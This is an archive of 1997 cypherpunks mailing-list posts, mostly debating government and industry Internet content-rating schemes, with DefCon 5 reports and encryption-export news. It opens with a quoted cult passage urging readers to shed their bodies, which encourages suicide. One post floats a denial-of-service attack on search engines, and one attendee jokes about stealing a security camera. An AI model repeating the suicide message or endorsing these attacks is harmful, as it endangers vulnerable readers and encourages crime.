>  did.  You must leave everything of your humanness behind.  This
>  includes the ultimate sacrifice and demonstration of faith --
>  that is, the shedding of your human body.  If you should choose
>  to do this, logistically it is preferred that you make this
>  exit somewhere in the area of the West or Southwest of the
>  United States -- but if this is not possible -- it is not
>  required.  You must call on the name of TI and DO to assist
>  you.  In so doing, you will engage a communication of sorts,
>  alerting a spacecraft to your location where you will be picked
>  up after shedding your vehicle, and taken to another world --
>  by members of the Kingdom of Heaven.
>
>Edgar W. Swank   <EdgarSwank@Juno.com>
>                 (preferred)
>Edgar W. Swank   <cryoprez@jps.net>
>                 (for files/msgs >50K)
>Home Page: http://members.tripod.com/~EdgarS/index.html
>
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-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 17 Jul 1997 10:52:32 +0800
To: Marc Rotenberg <lizard@dnai.com>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
Message-ID: <199707170240.TAA05878@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 16 Jul 97 at 18:12, Lizard wrote:

> At 04:47 PM 7/16/97 -0700, Ross Wright wrote:
> >Marc:
> >
> >What a bunch of crap!  Keep out of the internet, you government
> >flunky.  Let business, commerce and freedom of speech remain in
> >it's new home, Cyberspace.  And save your regulations for someone
> >who needs them.
> 
> You will get a lot more respect on the net once you learn how to
> read messages. I'll leave it you to figure out what you got wrong.

Umm, I think I understood the message, and Mr. Rotenberg's 
involvement in the politics of censorship, as it relates to the 
Internet.

> Sheesh. And I retreated to mailing lists to get away from this kind
> of stuff on USENET.

What?  I just feel that there should be no laws or resolutions or 
promises made or kept by the United States Government about the 
internet.

On or About 16 Jul 97 at 14:42, Declan McCullagh wrote, about 
something that Marc Rotenberg <rotenberg@epic.org> wrote:

>On the other hand, without a proper law, 

See, when they say "without" that means they think we need one.

>parents can purchase and
>activate measures to protect their children from adult material and
>still not feel secure in their homes from unwanted material.  

Ohhhh, so scary.  Not safe in the home!  Imagine that.

>This is
>because negligent publishing of data eventually allows material that
>can harm the child to enter the home.  Once this material is
>experienced by the child, its damage is done.  There is no "oops"
>factor, no way to undo the unwanted intrusion into a child's
>innocence. 

Parental supervision?  What ever happened to that?

>Most importantly, any Internet law must not censor thought.  It may
>regulate the labeling on the packaging but never the content. 

Most importantly, I don't want any Internet law.  ANY.  Just my 
opinion.

>With the goal of achieving a greater spirit of cooperation between
>the publisher and the receiver of online data, we propose the Online
>Cooperative Publishing Act. 

I don't want ANY Act.  Knock it off.   Keep out.  Stay away.  Save 
your Acts for someone who needs them.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 07:54:14 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716111552.13849C-100000@well.com>
Message-ID: <v03007804aff30cc04f0a@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Of course it's not what the news media have been saying, at least vocally.
They often get suckered in by slick press releases and prepackaged pap. I
sometimes wonder if my sitting next to a reporter during an event and
telling him/her what's really going on ever changes what they write about
or how they say it. I suspect it does.

-Declan


At 15:34 -0400 7/16/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <Pine.GSO.3.95.970716111552.13849C-100000@well.com>, on 07/16/97
>   at 11:16 AM, Declan McCullagh <declan@well.com> said:
>
>>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>>it a Federal crime to misrate. --Declan
>
>This doesn't sound like the "voluntary" system that the "news" media has
>been advertising.
>
>Perhaps they were too busy peddling Toilet Paper & Tampons to report the
>most important part of the story: "Clinton Administration wants Mandatory
>Rating System for the Internet".
>
>The mechanics of RSACi are really secondary to the fact that the FEDS want
>to force them on us.
>
>- --
>- ---------------------------------------------------------------
>William H. Geiger III  http://www.amaranth.com/~whgiii
>Geiger Consulting    Cooking With Warp 4.0
>
>Author of E-Secure - PGP Front End for MR/2 Ice
>PGP & MR/2 the only way for secure e-mail.
>OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html -
>---------------------------------------------------------------
>
>-----BEGIN PGP SIGNATURE-----
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-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 09:21:07 +0800
To: Brian Lane <nexus@eskimo.com>
Subject: Re: The Big Sellout
In-Reply-To: <33CD6C29.C60338E7@eskimo.com>
Message-ID: <199707170117.UAA30196@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <33CD6C29.C60338E7@eskimo.com>, on 07/16/97 
   at 05:49 PM, Brian Lane <nexus@eskimo.com> said:

>  My webpage will proudly remain unlabeled by any labeling standard.
>Anyone got a good design for a 'No Lables, Never' sticker to add to our
>pages?


I'll have to whip somthing up and put it right next to my NOTScape
Enhanced & Netscape Unhanced logo's on my web page. :)

Of cource Netscape was never on "our" side to begin with so I can't call
their support of this crap a "sell-out" just typical.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Thu, 17 Jul 1997 12:05:42 +0800
To: John Deters <cypherpunks@toad.com>
Subject: Re: FCPUNX:'The Failure to Do Your Job' amendment (was Re: White House
Message-ID: <199707170348.UAA19054@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:15 PM 7/16/97 -0500, John Deters wrote:
> A Constitutional amendment that would call for the impeachment of the
> President for failing to veto any three bills that are overturned by the
> Supreme Court on Constitutional grounds.

This however, presupposes that the supreme court is likely to veto
unconstitutional bills, and refrain from vetoing constitutional
bills.  

This does not appear to be the case.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 17 Jul 1997 10:34:35 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
Message-ID: <Pine.SOL.3.96.970716211822.13610I-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



> ----------
> 
> http://www.safesurf.com/online.htm
> 
> The Online Cooperative Publishing Act
>                                      (SafeSurf's Proposal for a Safe
> Internet Without Censorship)
snip> 
  (It
> should be noted that it was the universal acceptance of basic rules of
>        cooperation, rather than anarchy, that built the Internet. )

Can someone explain to me the necessariness of the assumed inconsistency
here? Or better yet, can SafeSurf explain it?
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 17 Jul 1997 10:42:47 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
Message-ID: <Pine.SOL.3.96.970716212722.13610J-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



well, the "presumption" has a somewhat stalinist aroma
to it, but as for the rest of this laughable proposal, 
I can't count a mind boggling number of constitutional 
problems. But I think we've had this talk before, on
another list.:)
MacN
On Wed, 16 Jul 1997, Declan McCullagh wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg <rotenberg@epic.org>
> To: fight-censorship@vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship
> 
> 
> Here is an example of a proposal being presented
> at the White House today.
> 
> The minds boggles at the number of unconstitutional
> provisions contained in such a brief text.
> 
> Never has a freedom won in a Supreme Court decision
> been given up so quickly.
> 
> Marc Rotenberg
> EPIC.
> 
> ----------
> 
> http://www.safesurf.com/online.htm
> 
> The Online Cooperative Publishing Act
>                                      (SafeSurf's Proposal for a Safe
> Internet Without Censorship)
> 
> 
>        Any law that seeks to regulate the Internet must first recognize the
> uniqueness of the medium.  The Internet is not the print media or the
>        broadcast industry.  It is also not another form of phone
> conversation or a 900 number calling system.  Instead, the Internet is the
>        manifestation of humankind's quest for limitless two-way interaction
> with thought.  The hyper-text layout allows us to change topics on
>        a whim, travel to distance places, or gather world opinion on a
> subject in a matter of minutes. 
> 
>        This distinctive nature of the Internet must be protected and even
> promoted by any legislation that claims to be fair to this medium.  The
>        interaction between the one receiving data and the one publishing it
> are where the core of the law should focus.  Both sides have rights,
>        the publisher has the First Amendment and the receiver has the right
> to be secure from harm in his home.  Proper Internet law should
>        encourage a cooperative transfer of ideas in the form of data.  (It
> should be noted that it was the universal acceptance of basic rules of
>        cooperation, rather than anarchy, that built the Internet. )
> 
>        Any law that attempts to give one side or the other is given an
> unreasonable burden in conducting the transfer of data is doomed to
>        failure.  The CDA was too burdensome on the publisher.  Its goal was
> to stop the flow of data, rather than to regulate it for the benefit
>        of all parties. 
> 
>        On the other hand, without a proper law, parents can purchase and
> activate measures to protect their children from adult material and still
>        not feel secure in their homes from unwanted material.  This is
> because negligent publishing of data eventually allows material that can
>        harm the child to enter the home.  Once this material is experienced
> by the child, its damage is done.  There is no "oops" factor, no way
>        to undo the unwanted intrusion into a child's innocence. 
> 
>        Most importantly, any Internet law must not censor thought.  It may
> regulate the labeling on the packaging but never the content. 
> 
>        With the goal of achieving a greater spirit of cooperation between
> the publisher and the receiver of online data, we propose the Online
>        Cooperative Publishing Act. 
> 
>        It shall contain the following provisions:
> 
>        1.      The right to be able to identify the adult rating of online
> content before it enters one's home shall be established.  This shall be a
>        civil right giving the violated person or family the presumption in
> a suit against negligent publishers.
> 
>        2.      Negligent publishing of data shall be defined as placing
> adult oriented material on the Internet in such a way or in such a location
>        that it prevents its rating from being known.
> 
>        3.      A rating shall be defined as a PICS compatible label that
> identifies degrees of adult content in a way that can be understood by
>        computer filtering systems and is issued by a ratings service that
> has a minimum of 5,000 documented individuals using its system to
>        mark their data.
> 
>        4.      A publisher is defined as anyone who places computer data
> where it can be accessed by the general public without the use of a
>        credit card or other secure verified ID or password given out only
> to adults.  Content that can be only be accessed by the use credit cards
>        or other secure verified IDs is not subject to this law.
> 
>        5.      The code used to surround content published on the Internet
> shall be defined as packaging.  All government identification
>        requirements shall be limited to the code of the packaging.  Nothing
> in this law shall be construed to require any altering or censorship
>        of the content.
> 
>        6.      Three types of online publishing shall be defined:
> 
>              a) Publishers who accurately identify their data with a
> recognized labeling system. 
> 
>              These publishers shall be considered to have satisfied the
> labeling requirement of the law.  The right to publish shall be
>              completely protected for those who accurately label their
> material.  They shall be protected from all civil suits that argue
>              negligent posting of data.  Only grossly mislabeled material
> can be prosecuted.  (Note: This is not a protection for
>              obscene material.  This law will offer no protection for
> obscene material.)
> 
>              b) Publishers who mislabel their data to the degree that it
> enables a minor using a label filtering
>              system to gain access to harmful material.
> 
>              Data shall be considered to be mislabeled if it is posted in a
> newsgroup, directory or other joint area that has been labeled
>              as free from material harmful to minors.  Tampering with
> another's label shall be crime.
> 
>              These publishers may be criminally prosecuted for subverting a
> rating system to entice children to harmful material.  The
>              mislabeling must be to the extent that it is completely
> unreasonable to accept it as accurate.  Only ratings that are too
>              lenient can be prosecuted.
> 
>              Posting unlabeled adult material to an area that has declared
> itself safe for children or tampering with another's label shall
>              be a severe criminal assault on the rights of the receiver.
> 
>              Sending unsolicited email to a minor that contains
> pornographic material or an invitation to a pornographic Web Site, shall
>              be considered negligent enticement and may be criminally
> prosecuted.  A bulk email service sending pornographic email
>              must show that it took reasonable measures to insure that
> every recipient was an adult.  (Example: The addresses used
>              were from the membership list of Adult Check or other such
> adult verification services.)
> 
>              c) Publishers who do not label their data at all.
> 
>              Negligence in the absence of damages shall not be a criminal
> offense (but it may be a civil violation of the rights of the
>              receivers of that data) unless the data is deemed to be
> harmful to minors.  Then the publisher will be prosecuted for
>              negligence.
> 
>              These publishers may be sued in civil court by any parent who
> feels their children were harmed by the data negligently
>              presented.  The parents shall be given presumption in all
> cases and do not have to prove the data actually produced harm
>              to their child only that the material reasonably could be
> considered to have needed a label warning to protect children.
> 
> 
> 
>          7.      Internet Service Providers are considered publishers of
> only that material of which they directly control or gain revenue via a
>          percentage of sales.  Web Site designers may be held liable if
> they fail to attach ratings to Web sites, containing material harmful to
>             minors, they design for a fee. They may, by written agreement,
> assign the task of rating to another legally responsible party.
> 
>        8.      Not every document is required to be labeled, only the
> default or index document of each directory.  In the case of an entire web
>           domain being of one rating, only its default top level document
> needs to be labeled with instructions to apply it to the entire site. 
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 12:48:05 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <199707170338.WAA32029@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Wait -- so you're saying they *didn't* do the right thing with RSACi?

BTW, we should differentiate generally between state action and private
action. Getting fucked by Microsoft != getting fucked by the government.
This is Libertarianism 101. Of course, I admit today the distinction was
blurry.

-Declan

On Wed, 16 Jul 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <Pine.GSO.3.95.970716193112.16504K-100000@well.com>, on 07/16/97 
>    at 07:31 PM, Declan McCullagh <declan@well.com> said:
> 
> >Kudos to Microsoft for doing the right thing.
> 
> Well if Microsoft was intrested in doing the right thing they would not be
> involded with RSACi at all.
> 
> There seems to be a prevelent attitude in the INet community that when
> getting fucked by the government we should thank them for only sticking it
> in half-way.
> 
> - -- 
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
> - ---------------------------------------------------------------
> 
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> Qdx/b2ftLto1+6j0DQ7rcRz2+XFPFLFfi76GamIdvxNc4RqaDxm38lArfSWH22JH
> /YKx9rWWQNQ=
> =4Md3
> -----END PGP SIGNATURE-----
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 12:44:47 +0800
To: frissell@panix.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716234246.03aaeea8@panix.com>
Message-ID: <Pine.GSO.3.95.970716213019.24530C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



When protecting children, logic seems to be thrown out the window.

"Junior can find porn!"

-Declan


On Wed, 16 Jul 1997 frissell@panix.com wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 11:16 AM 7/16/97 -0700, Declan McCullagh wrote:
> >As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
> >it a Federal crime to misrate. --Declan
> >
> 
> What ever happened to "de minimus non curat lex."  The social damage from a 
> misrated website is too trivial to be believed.  Punishing it is like 
> executing you for farting.
> 
> DCF  
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
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> =p/tQ
> -----END PGP SIGNATURE-----
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 09:56:38 +0800
To: cypherpunks@toad.com
Subject: Justice is Done
Message-ID: <v03007800aff326895bb7@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



---

From: "--Todd Lappin-->" <telstar@WIRED.COM>

Wednesday July 16 4:10 PM EDT

TV's 'Barney' Chokes in Filming Accident

DALLAS (Reuter) - An actor playing "Barney," the purple dinosaur loved by
millions of children, suffered smoke inhalation when
a cooling fan inside the 60-pound suit shorted out during filming of the TV
show, officials said Wednesday.

There was no fire but the actor inhaled smoke as he tried to get out of the
suit at a Dallas studio Tuesday, said Susan Elsner, a
spokeswoman for Lyrick Studios and The Lyons Group, which created and
produces the hugely popular children's show "Barney
& Friends."

She said the actor, who was not named, inhaled a "slight amount of smoke"
but was released after a routine examination.

Once the incident was reported on television, scores of anxious parents
called to say their children were worried their favorite
dinosaur had been burned or, worse still, was a fake.

"It can be really devastating to a 3-year-old," Elsner said. "They love
Barney and they think that something terrible has happened to
him, or that it's not real."

"Barney & Friends" airs on the U.S. Public Broadcasting System and is a
top-ranking program for children under age 6. It appears
in 30 countries across six continents.

Elsner said Tuesday's incident came as the cast was filming shows for the
fall season.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Thu, 17 Jul 1997 13:06:39 +0800
To: "Ross Wright" <fight-censorship@vorlon.mit.edu
Subject: Re: The Real Plan: Making the Net Safe for Censorship
Message-ID: <3.0.32.19970716214255.00ab0340@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:42 PM 7/16/97 -0700, Ross Wright wrote:
>On or About 16 Jul 97 at 18:12, Lizard wrote:
>
>> At 04:47 PM 7/16/97 -0700, Ross Wright wrote:
>> >Marc:
>> >
>> >What a bunch of crap!  Keep out of the internet, you government
>> >flunky.  Let business, commerce and freedom of speech remain in
>> >it's new home, Cyberspace.  And save your regulations for someone
>> >who needs them.
>> 
>> You will get a lot more respect on the net once you learn how to
>> read messages. I'll leave it you to figure out what you got wrong.
>
>Umm, I think I understood the message, and Mr. Rotenberg's 
>involvement in the politics of censorship, as it relates to the 
>Internet.
>
No, you do not.

>> Sheesh. And I retreated to mailing lists to get away from this kind
>> of stuff on USENET.
>
>What?  I just feel that there should be no laws or resolutions or 
>promises made or kept by the United States Government about the 
>internet.
>
That's not the kind of stuff I'm referring to.

>On or About 16 Jul 97 at 14:42, Declan McCullagh wrote, about 
>something that Marc Rotenberg <rotenberg@epic.org> wrote:
>
>>On the other hand, without a proper law, 
>
>See, when they say "without" that means they think we need one.
>
>>parents can purchase and
>>activate measures to protect their children from adult material and
>>still not feel secure in their homes from unwanted material.  
>
>Ohhhh, so scary.  Not safe in the home!  Imagine that.

Sigh. While occasionally I am prone to fits of charity and altruism, today
is not one of those days. I shall leave it to someone more merciful than I
(such as, perhaps, the Marquis de Sade, or Attila the Hun) to explain your
error to you. Perhaps Marc himself will enlighten you, though, frankly, I
hope he doesn't, as this could provide much amusement over time.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 17 Jul 1997 13:53:18 +0800
To: cypherpunks@toad.com
Subject: Verisign gets export approval
Message-ID: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded from PGP-USERS list:
> First PGPInc and now VeriSign? Hmmm. Is this telling us something?

     "VeriSign on Monday said it received permission from 
       the U.S. Department of Commerce to export 128-bit 
       strong encryption software and issue digital 
       identifications to approved organizations based on 
       that software. "

     "Under the 128-bit scheme approved by the U.S. 
      government Monday, companies will not need to 
      place their encryption keys in escrow, or submit 
      to U.S. government key-recovery requirements in 
     order to use VeriSign's software, company officials said."



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 10:41:25 +0800
To: cypherpunks@toad.com
Subject: DefCon revisited -- other reports on the conference
Message-ID: <v03007808aff32f6971d8@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



My report on DefCon is at:

  http://www.cnn.com/TECH/9707/16/netly.news/index.html

Attached are some followup notes from conference attendees.

-Declan

**********

Date: Tue, 15 Jul 1997 04:26:23 -0800
From: Szechuan Death <sdeath@ackphft.matsu.alaska.edu>
Subject: Def Con 5 Summary

God _DAMN_ that was fun!!!  >;->

(Despite the fact that I lost a shoe running away from a security guard, and
had to pitch the other one and my Rastafarian wig to satisfy my paranoia
about getting caught, it was well worth it...  besides, the barbed-wire
gouges are healing nicely, and I'll be getting a tetanus shot tomorrow...)

Let's see - my picks for Best of 'Con:

Mudge, because he's damned good (even if he _does_ work with NT)
Bruce Schneier, because he's - Bruce Schneier...
Val, for the dress (I still think the boots were masochistic, tho)
and Winn Schwartau for being such a good sport at Hacker Jeopardy, even if
he _did_ sound eerily like Alex Trebek.

Next year (if they have a Def Con next year) I'm coming back with a power
drill, Security Hex drivers, and a set of black pajamas - one of those
security cameras _will_ be mine...

_Are_ they going to have a Def Con next year?  Please say yes - Def Con 6 is
something to look forward to through a bleak and cold Alaskan winter...
>;->

**********

Date: Wed, 16 Jul 1997 01:57:49 -0400 (EDT)
From: Fyodor <fyodor@dhp.com>
Subject: DC5

Wow, the list sure is quiet.  I imagine this is because everyone is
recovering from last weekend!  And probably reading their overflowing
mailboxes.  Or at least repeatedly pressing 'd'.

So how did it go??  Us lamers who couldn't make it want to know.  Speaking
of which, did anyone get a video tape together?  I'll buy it!

What did Mudge talk about?  Did he expose any gaping holes?  He tends to
do that sometimes.  What about *Hobbit*?  Did he give any new information,
or was it mostly a rehash of his (excellent) CIFS paper?

And how was the bitch?  Did anyone go to her "discussion"?  Did it go as
"well" as her IRC chats (before she was canceled)?.

[...]

**********

Date: Wed, 16 Jul 1997 08:44:51 -0400 (EDT)
From: krys <krystali@safari.net>
Subject: Re: DC5


> Wow, the list sure is quiet.  I imagine this is because everyone is
> recovering from last weekend!  And probably reading their overflowing
> mailboxes.  Or at least repeatedly pressing 'd'.

I can't speak for the rest of the list, but I'm still walking around in a
dazed state, and hearing the ching-ching of thousands of slot machines in
my head. Apparently, it's going to take me a bit longer than anticipated
to recover.

> What did Mudge talk about?  Did he expose any gaping holes?  He tends to
> do that sometimes.  What about *Hobbit*?  Did he give any new information,
> or was it mostly a rehash of his (excellent) CIFS paper?

Mudge and Hobbit ended up combining their talks, and they were both
excellent, and quite informative. They spoke on various NT issues,
including CIFS and SMB and Microsoft's rehashing of bad password schemes
among other things. Unfortunately, I was still half asleep at the time. I
hope someone got audio of this - I'd really like a copy.

> And how was the bitch?  Did anyone go to her "discussion"?  Did it go as
> "well" as her IRC chats (before she was canceled)?.

The Happy Hacker Panel was a blast. Disorder did a great job of fielding
questions, as did Matt. Jon and Bronc were a lot more quiet, but they
answered some questions as well. Carolyn did a great job of making
a fool of herself. We did learn a few things, though:

1. Carolyn hacks her toaster.
2. Carolyn thinks sending http commands to the ssh port is a good idea.
3. Carolyn doesn't mind asking stupid questions. (This one was a real
shocker.)
4. Dis and 303 went to a lot of trouble to get Carolyn a copy of "Secrets
of a Super Hacker", which they so kindly had everyone autograph. Alas, she
already owned a copy.
5. One of Carolyn's favorite hacking methods is calling people and asking
them for their root password.


> Has anyone done a write-up of the highlights of the experience?  I noticed
> that Declan has a brief piece on the Netlynews today.  He'll probably post
> the first couple paragraphs here anyway, so I'll save him the trouble:

The only thing I've seen so far, other than what you posted from
NetlyNews, was a horrible AP piece, also posted here.

> Well, hopefully others will enlighten us with their DC5 experience when
> things calm down a bit.

Other than the lack of a working T1, I thought most things went well. It's
a shame se7en's speech was scheduled at the same time as the happy hacker
panel, though. I would have liked to hear what he had to say.

Uhm.. has anyone else heard rumor of the hotel's satellite dishes being
piled up on the 26th floor?

-krys

************

Date: Wed, 16 Jul 1997 13:58:03 -0400 (EDT)
From: Xservo <servo@garbage.netrox.net>
Subject: Re: DC5

26th floor? well i do know there the coax ended up (flea).
yeah i saw someone running down the hall with a dish and thought 'oh we
are going to have a satellite phone for demo' then i was told to "move,
you didn't see anything" uhhh ok.....

wtf!

-xs



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 17 Jul 1997 10:15:21 +0800
To: John Deters <jad@dsddhc.com>
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House  ...)
In-Reply-To: <3.0.1.32.19970716141513.00ae82f0@labg30>
Message-ID: <Pine.GSO.3.95.970716221006.10019C-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 16 Jul 1997, John Deters wrote:

> A Constitutional amendment that would call for the impeachment of the
> President for failing to veto any three bills that are overturned by the
> Supreme Court on Constitutional grounds.

Whole bill?  One little amendment to a *large* bill?  (CDA being part of
the Telecommunications Act of 1996.... hmmmm..)

Not a bad idea, but it suffers from the same problems we discussed about a
month ago regarding members of Congress...

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 17 Jul 1997 23:38:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Censorware Summit Take II, from The Netly News
Message-ID: <v03102800aff35a11fa0e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>     Spooked by the threat of a revised Communications
>Decency Act, high tech firms are seriously backing
>labels for the first time. Joining Clinton in coercing
>Internet users and businesses to label all their web
>pages were Yahoo, Excite, and Lycos. "I threw a
>gauntlet to other search engines in today's meeting
>saying that collectively we should require a rating
>before we index pages," Robert Davis, the president of
>Lycos, told me. Translation: if you don't play ball,
>and label your site, search engines will ignore you.

These suggests that Yahoo, Excite, and Lycos might become tempting targets
of a Net-wide DoS attack until they repent.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 11:42:15 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716193112.16504K-100000@well.com>
Message-ID: <199707170338.WAA32029@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970716193112.16504K-100000@well.com>, on 07/16/97 
   at 07:31 PM, Declan McCullagh <declan@well.com> said:

>Kudos to Microsoft for doing the right thing.

Well if Microsoft was intrested in doing the right thing they would not be
involded with RSACi at all.

There seems to be a prevelent attitude in the INet community that when
getting fucked by the government we should thank them for only sticking it
in half-way.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 17 Jul 1997 14:31:07 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <19970715115457.07611@bywater.songbird.com>
Message-ID: <3.0.2.32.19970716224945.0069732c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



> > Yes, that's the logical next step -- Government Approved Porn (GAP).
> > Perhaps we could get Senator Hatch to sponsor a bill?

> We have government approved gambling with terrible odds already. 
> This sounds like the next logical step.

There's government-approved porn already; you can get it from
your Postal Inspector by letting him know you're a suspect\\\\\\\\\
interested in that sort of thing.  The odds of you getting arrested
for it instead of the Postal Inspector are also terrible...




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 17 Jul 1997 14:12:46 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Censorware Summit Take II, from The Netly News
Message-ID: <3.0.32.19970716224205.006e5034@best.com>
MIME-Version: 1.0
Content-Type: text/plain



I can't wait until the tags include information on *political* content, or
*credibility factor* (i.e. sanctioned by medai conglomerate or not) etc...

